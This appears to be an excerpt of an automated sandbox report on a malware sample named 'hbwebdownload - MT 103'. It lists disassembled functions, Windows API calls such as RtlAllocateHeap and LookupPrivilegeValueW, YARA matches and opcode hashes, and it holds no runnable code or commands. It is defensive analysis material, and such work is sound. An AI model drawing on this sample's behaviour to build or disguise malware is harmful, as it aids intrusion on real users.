                                                                                                                                                                                    APIs
                                                                                                                                                                                    • NtClose.NTDLL(00414D50,?,?,00414D50,00409CF3,FFFFFFFF), ref: 0041A485
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2140305383.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_400000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Yara matches
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: Close
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 3535843008-0
                                                                                                                                                                                    • Opcode ID: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
                                                                                                                                                                                    • Instruction ID: e9450f8bec15428cdd91297f97b7848412804bda5c7d31b3f0e5b01193c95e83
                                                                                                                                                                                    • Opcode Fuzzy Hash: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
                                                                                                                                                                                    • Instruction Fuzzy Hash: 3CD01776211214ABD710EB99CC85EE77BACEF48764F15449ABA189B242C530FA1186E0
                                                                                                                                                                                    Function 012C2B60 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: InitializeThunk
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 2994545307-0
                                                                                                                                                                                    • Opcode ID: 3729053202cf5c470d14323acb051b3812fcc802a8e45ac9ed374e170a6b2966
                                                                                                                                                                                    • Instruction ID: ba2b3e3d07f0e537bc42208ab0ec885733a314403c726fef6f9571fc42dec967
                                                                                                                                                                                    • Opcode Fuzzy Hash: 3729053202cf5c470d14323acb051b3812fcc802a8e45ac9ed374e170a6b2966
                                                                                                                                                                                    • Instruction Fuzzy Hash: 1490026521241003410571588414616401A97E0201B55C021E2014590DC52589916226
                                                                                                                                                                                    Function 012C2BF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: InitializeThunk
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 2994545307-0
                                                                                                                                                                                    • Opcode ID: d908a385c596e0fc04ac54b727814bc0e25875ffd835e609cacf32da1f3fe2aa
                                                                                                                                                                                    • Instruction ID: 57b6a71d52e4b49800bb1293da08d3d250ad3ed8f28358d954f67569559dbb18
                                                                                                                                                                                    • Opcode Fuzzy Hash: d908a385c596e0fc04ac54b727814bc0e25875ffd835e609cacf32da1f3fe2aa
                                                                                                                                                                                    • Instruction Fuzzy Hash: 7F90023521141802D1807158840464A001597D1301F95C015E1025654DCA158B5977A2
                                                                                                                                                                                    Function 012C2AD0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: InitializeThunk
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 2994545307-0
                                                                                                                                                                                    • Opcode ID: 80b518da519468309db2d9e521190d64e60a2528c221325723ce1ecac0aa97a1
                                                                                                                                                                                    • Instruction ID: bc24c3844f2b8793cadbc7fbb1947b3ea5c30466a5250378ff553abb70027783
                                                                                                                                                                                    • Opcode Fuzzy Hash: 80b518da519468309db2d9e521190d64e60a2528c221325723ce1ecac0aa97a1
                                                                                                                                                                                    • Instruction Fuzzy Hash: EE90043D331410030105F55C47045070057D7D5351355C031F3015550CD731CD715333
                                                                                                                                                                                    Function 012C2D30 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: InitializeThunk
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 2994545307-0
                                                                                                                                                                                    • Opcode ID: 245bc32740b187a018f72b0025f329cff9b6132d3b2a782ccf38b506cfacf061
                                                                                                                                                                                    • Instruction ID: 3def96ba742dd14bd36dbd40fbc8d7695a3178dd0791e9dc3fb9e5e91b078d3c
                                                                                                                                                                                    • Opcode Fuzzy Hash: 245bc32740b187a018f72b0025f329cff9b6132d3b2a782ccf38b506cfacf061
                                                                                                                                                                                    • Instruction Fuzzy Hash: BA90043531141003D140715CD41C7074015F7F1301F55D011F1414554CDD15CD575333
                                                                                                                                                                                    Function 012C2D10 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: InitializeThunk
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 2994545307-0
                                                                                                                                                                                    • Opcode ID: 515c725bc0fe6b55c4ebc3fc696a2290419e3891e8089d71645d46b2cb3e3bf9
                                                                                                                                                                                    • Instruction ID: 88b3d8fe10e5d097561fe4ab46a1add5c197a7e417d7d583e4cb4fee338f72d4
                                                                                                                                                                                    • Opcode Fuzzy Hash: 515c725bc0fe6b55c4ebc3fc696a2290419e3891e8089d71645d46b2cb3e3bf9
                                                                                                                                                                                    • Instruction Fuzzy Hash: EE90022D22341002D1807158940860A001597D1202F95D415E1015558CC91589695322
                                                                                                                                                                                    Function 012C2DF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: InitializeThunk
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 2994545307-0
                                                                                                                                                                                    • Opcode ID: b47d35f47e3a454307e92ceb7822faa155d49c6e6a3168130ef48141ca8519b1
                                                                                                                                                                                    • Instruction ID: 5b2bc83ec17d154037d01b022927203b9924f526e9b3beef676353a332bb2cd7
                                                                                                                                                                                    • Opcode Fuzzy Hash: b47d35f47e3a454307e92ceb7822faa155d49c6e6a3168130ef48141ca8519b1
                                                                                                                                                                                    • Instruction Fuzzy Hash: 3D90023521141413D11171588504707001997D0241F95C412E1424558DD6568A52A222
                                                                                                                                                                                    Function 012C2DD0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: InitializeThunk
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 2994545307-0
                                                                                                                                                                                    • Opcode ID: e6ad279916820ecd164bcf487c713e08efae37b1439920f7fe524f505e6b1049
                                                                                                                                                                                    • Instruction ID: c608118e0f2af19666f235ee125b6781a0483f68384aa15cfe1185070c0e502d
                                                                                                                                                                                    • Opcode Fuzzy Hash: e6ad279916820ecd164bcf487c713e08efae37b1439920f7fe524f505e6b1049
                                                                                                                                                                                    • Instruction Fuzzy Hash: 7D900225252451525545B15884045074016A7E0241795C012E2414950CC5269956D722
                                                                                                                                                                                    Function 012C2C70 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: InitializeThunk
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 2994545307-0
                                                                                                                                                                                    • Opcode ID: 3367622afb5aa42eeddc5eaa0b118e38005479d27281ebe5257bcfee27ecc5ab
                                                                                                                                                                                    • Instruction ID: e5ae273c32a75e913974ca1ed8424875c29eba1a5fd1aaac4242d09e6ecdfbf0
                                                                                                                                                                                    • Opcode Fuzzy Hash: 3367622afb5aa42eeddc5eaa0b118e38005479d27281ebe5257bcfee27ecc5ab
                                                                                                                                                                                    • Instruction Fuzzy Hash: 4D90023521149802D1107158C40474A001597D0301F59C411E5424658DC69589917222
                                                                                                                                                                                    Function 012C2CA0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: InitializeThunk
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 2994545307-0
                                                                                                                                                                                    • Opcode ID: d6827f226dd1babe8824a8c3c51a53ab12b5f22d6fc5c8eb83f68d9c41de36c8
                                                                                                                                                                                    • Instruction ID: 24fd9e0f01baab187f40619238234baef58705298e7ea1eaad8d85cf3cd98bc7
                                                                                                                                                                                    • Opcode Fuzzy Hash: d6827f226dd1babe8824a8c3c51a53ab12b5f22d6fc5c8eb83f68d9c41de36c8
                                                                                                                                                                                    • Instruction Fuzzy Hash: BB90023521141402D10075989408646001597E0301F55D011E6024555EC66589916232
                                                                                                                                                                                    Function 012C2F30 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: InitializeThunk
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 2994545307-0
                                                                                                                                                                                    • Opcode ID: 6861f8936ee30d28b67ba956ecd5aee6bd03f4311d3feb0f61196facd26c0f49
                                                                                                                                                                                    • Instruction ID: 6304e0580c75f2310cb6b040c671ec1716909ecc1b91cf7f214891e13400b15c
                                                                                                                                                                                    • Opcode Fuzzy Hash: 6861f8936ee30d28b67ba956ecd5aee6bd03f4311d3feb0f61196facd26c0f49
                                                                                                                                                                                    • Instruction Fuzzy Hash: 9790026535141442D10071588414B060015D7E1301F55C015E2064554DC619CD526227
                                                                                                                                                                                    Function 012C2FB0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: InitializeThunk
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 2994545307-0
                                                                                                                                                                                    • Opcode ID: 6607bd7c48d8c4d50e299ae87d9dce0cfa5dc9b1b92762649a04ff7d6f6dbc0e
                                                                                                                                                                                    • Instruction ID: c5d6676cacaceb06e721afcbd1638d220a78cd6ae0819d56841c4d2ed1f42940
                                                                                                                                                                                    • Opcode Fuzzy Hash: 6607bd7c48d8c4d50e299ae87d9dce0cfa5dc9b1b92762649a04ff7d6f6dbc0e
                                                                                                                                                                                    • Instruction Fuzzy Hash: 5A9002256114104241407168C8449064015BBE1211755C121E1998550DC55989655766
                                                                                                                                                                                    Function 012C2F90 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: InitializeThunk
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 2994545307-0
                                                                                                                                                                                    • Opcode ID: 868dbdccad8783002e944e1bc691afd0cecf498f4d63712439921be85da8563f
                                                                                                                                                                                    • Instruction ID: d6a377e28910744be55ae9b28853f4a9d4b62f7b8d10df457c7ada73622796ce
                                                                                                                                                                                    • Opcode Fuzzy Hash: 868dbdccad8783002e944e1bc691afd0cecf498f4d63712439921be85da8563f
                                                                                                                                                                                    • Instruction Fuzzy Hash: C990023521181402D1007158881470B001597D0302F55C011E2164555DC62589516672
                                                                                                                                                                                    Function 012C2FE0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: InitializeThunk
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 2994545307-0
                                                                                                                                                                                    • Opcode ID: 2cec7201a4f418fb0d9344b6bce4ad29b9b2f925fa0ed05774c4cdde0e241e77
                                                                                                                                                                                    • Instruction ID: e92c00e81678907335cd139d17fa094945593028858789d10f8d66709fbb8687
                                                                                                                                                                                    • Opcode Fuzzy Hash: 2cec7201a4f418fb0d9344b6bce4ad29b9b2f925fa0ed05774c4cdde0e241e77
                                                                                                                                                                                    • Instruction Fuzzy Hash: 90900225221C1042D20075688C14B07001597D0303F55C115E1154554CC91589615622
                                                                                                                                                                                    Function 012C2EA0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: InitializeThunk
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 2994545307-0
                                                                                                                                                                                    • Opcode ID: dc83a035789bc0cc0e728979fc1adca0fc6c79633d57ba0cb2ec806e3eeb29d5
                                                                                                                                                                                    • Instruction ID: 3771bee380397ed08e40c529431b99f25718c66a0c2dd4d8313dc2022af517db
                                                                                                                                                                                    • Opcode Fuzzy Hash: dc83a035789bc0cc0e728979fc1adca0fc6c79633d57ba0cb2ec806e3eeb29d5
                                                                                                                                                                                    • Instruction Fuzzy Hash: 7890027521141402D14071588404746001597D0301F55C011E6064554EC6598ED56766
                                                                                                                                                                                    Function 012C2E80 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2144698511.0000000001250000.00000040.00001000.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_1250000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: InitializeThunk
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 2994545307-0
                                                                                                                                                                                    • Opcode ID: 5a4b8e55e127f6bec28a30496de24344183a7dc9d7756fcb13cff8707bcdf768
                                                                                                                                                                                    • Instruction ID: 4896650f04f9ac51855b4b12af34ab4d94e0864a8cb34b7b57cd1da3f22f9d31
                                                                                                                                                                                    • Opcode Fuzzy Hash: 5a4b8e55e127f6bec28a30496de24344183a7dc9d7756fcb13cff8707bcdf768
                                                                                                                                                                                    • Instruction Fuzzy Hash: E890022561141502D10171588404616001A97D0241F95C022E2024555ECA258A92A232
                                                                                                                                                                                    Function 00409AB0 Relevance: .1, Instructions: 92COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2140305383.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_400000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Yara matches
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID:
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                    • Opcode ID: 9491f0743c91a206193bdf4875b0116748c1939b63dea1d6f13f2d0be6304ac3
                                                                                                                                                                                    • Instruction ID: 0cf1d1cfbff413d406b9f50454d57ab941c4b3e8ec75440de5a7d7d7e128ebbb
                                                                                                                                                                                    • Opcode Fuzzy Hash: 9491f0743c91a206193bdf4875b0116748c1939b63dea1d6f13f2d0be6304ac3
                                                                                                                                                                                    • Instruction Fuzzy Hash: 24210AB2D4020857CB25D664AD52BFF73BCAB54314F04007FE949A3182F638BE498BA5
                                                                                                                                                                                    Function 0041A600 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24memoryCOMMON
                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                    • Executed
                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                    control_flow_graph 6 41a600-41a631 call 41af30 RtlAllocateHeap
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • RtlAllocateHeap.NTDLL(6EA,?,00414CAF,00414CAF,?,00414536,?,?,?,?,?,00000000,00409CF3,?), ref: 0041A62D
                                                                                                                                                                                    Strings
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2140305383.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_400000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Yara matches
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: AllocateHeap
                                                                                                                                                                                    • String ID: 6EA
                                                                                                                                                                                    • API String ID: 1279760036-1400015478
                                                                                                                                                                                    • Opcode ID: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
                                                                                                                                                                                    • Instruction ID: 226561cf9c8a986873ffc081809f26ad69fcc4b20f94c9d7be20fabd3b8eb7db
                                                                                                                                                                                    • Opcode Fuzzy Hash: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
                                                                                                                                                                                    • Instruction Fuzzy Hash: 24E012B1211208ABDB14EF99CC41EA777ACAF88664F118559BA085B242C630F911CAB0
                                                                                                                                                                                    Function 00408310 Relevance: 1.6, APIs: 1, Instructions: 55threadwindowCOMMON
                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                    • Executed
                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                    control_flow_graph 212 408310-40835a call 41be30 call 41c9d0 call 40acf0 call 414e50 221 40835c-40836e PostThreadMessageW 212->221 222 40838e-408392 212->222 223 408370-40838a call 40a480 221->223 224 40838d 221->224 223->224 224->222
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 0040836A
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2140305383.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_400000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Yara matches
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: MessagePostThread
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 1836367815-0
                                                                                                                                                                                    • Opcode ID: 1eae49b1dd1fdf1f4ed343fddf3187855c82dbc596373200d6923005f005e771
                                                                                                                                                                                    • Instruction ID: 43d593e10ad008c4695c17d6314bf6f3e92d4c432431edd93db89b762a987e15
                                                                                                                                                                                    • Opcode Fuzzy Hash: 1eae49b1dd1fdf1f4ed343fddf3187855c82dbc596373200d6923005f005e771
                                                                                                                                                                                    • Instruction Fuzzy Hash: E2018471A8032877E720A6959D43FFE776C5B40F54F05011AFF04BA1C2EAA8690546EA
                                                                                                                                                                                    Function 0041A791 Relevance: 1.5, APIs: 1, Instructions: 46COMMON
                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                    • Executed
                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                    control_flow_graph 243 41a791-41a79d 244 41a7a0-41a7ba call 41af30 243->244 245 41a723-41a727 243->245 249 41a7bf-41a7d4 LookupPrivilegeValueW 244->249 246 41a72f-41a744 245->246 247 41a72a call 41af30 245->247 247->246
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • LookupPrivilegeValueW.ADVAPI32(00000000,0000003C,0040F1D2,0040F1D2,0000003C,00000000,?,00409D65), ref: 0041A7D0
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2140305383.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_400000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Yara matches
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: LookupPrivilegeValue
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 3899507212-0
                                                                                                                                                                                    • Opcode ID: 3a095b6fdbfae34f310b3791de5d0685201296881819b5ca00dc2e276e2191ab
                                                                                                                                                                                    • Instruction ID: 4f0e51a01ab46be95e7cd7a3d039ee2e35a66bd9743fa429f2e30aff352c1da8
                                                                                                                                                                                    • Opcode Fuzzy Hash: 3a095b6fdbfae34f310b3791de5d0685201296881819b5ca00dc2e276e2191ab
                                                                                                                                                                                    • Instruction Fuzzy Hash: B101ADB52102086BDB10EF59DC80DEB73A9EF88318F01845AF90957342C630E9168AB5
                                                                                                                                                                                    Function 0041A632 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMON
                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                    • Executed
                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                    control_flow_graph 263 41a632-41a656 264 41a65c-41a671 RtlFreeHeap 263->264 265 41a657 call 41af30 263->265 265->264
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • RtlFreeHeap.NTDLL(00000060,00409CF3,?,?,00409CF3,00000060,00000000,00000000,?,?,00409CF3,?,00000000), ref: 0041A66D
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2140305383.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_400000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Yara matches
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: FreeHeap
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 3298025750-0
                                                                                                                                                                                    • Opcode ID: f49230a00f39b622cdbf99e67a481b45ea0755e82c26f23a6924a4167ca151d4
                                                                                                                                                                                    • Instruction ID: ee930675011bf31697f300d8cbe35b02760f94f29c7344f56dc328e1a5823920
                                                                                                                                                                                    • Opcode Fuzzy Hash: f49230a00f39b622cdbf99e67a481b45ea0755e82c26f23a6924a4167ca151d4
                                                                                                                                                                                    • Instruction Fuzzy Hash: 15F039B1221204ABD718EF58DC49EE777A9FF48750F118669FA485B242D631E811CBA0
                                                                                                                                                                                    Function 0041A640 Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON
                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                    • Executed
                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                    control_flow_graph 266 41a640-41a671 call 41af30 RtlFreeHeap
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • RtlFreeHeap.NTDLL(00000060,00409CF3,?,?,00409CF3,00000060,00000000,00000000,?,?,00409CF3,?,00000000), ref: 0041A66D
                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                    • Source File: 00000004.00000002.2140305383.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                    • Snapshot File: hcaresult_4_2_400000_hbwebdownload - MT 103.jbxd
                                                                                                                                                                                    Yara matches
                                                                                                                                                                                    Similarity
                                                                                                                                                                                    • API ID: FreeHeap
                                                                                                                                                                                    • String ID:
                                                                                                                                                                                    • API String ID: 3298025750-0
                                                                                                                                                                                    • Opcode ID: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
                                                                                                                                                                                    • Instruction ID: 3f65de21c9b51a2b7742007d51c6b1fad19b07b0b1b2c98d2bb582ee848745b4
                                                                                                                                                                                    • Opcode Fuzzy Hash: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
                                                                                                                                                                                    • Instruction Fuzzy Hash: 1EE046B1210208ABDB18EF99CC49EE777ACEF88764F018559FE085B242C630F911CAF0
                                                                                                                                                                                    Function 0041A7A0 Relevance: 1.5, APIs: 1, Instructions: 24COMMON
                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                    APIs
                                                                                                                                                                                    • LookupPrivilegeValueW.ADVAPI32(00000000,0000003C,0040F1D2,0040F1D2,0000003C,00000000,?,00409D65), ref: 0041A7D0
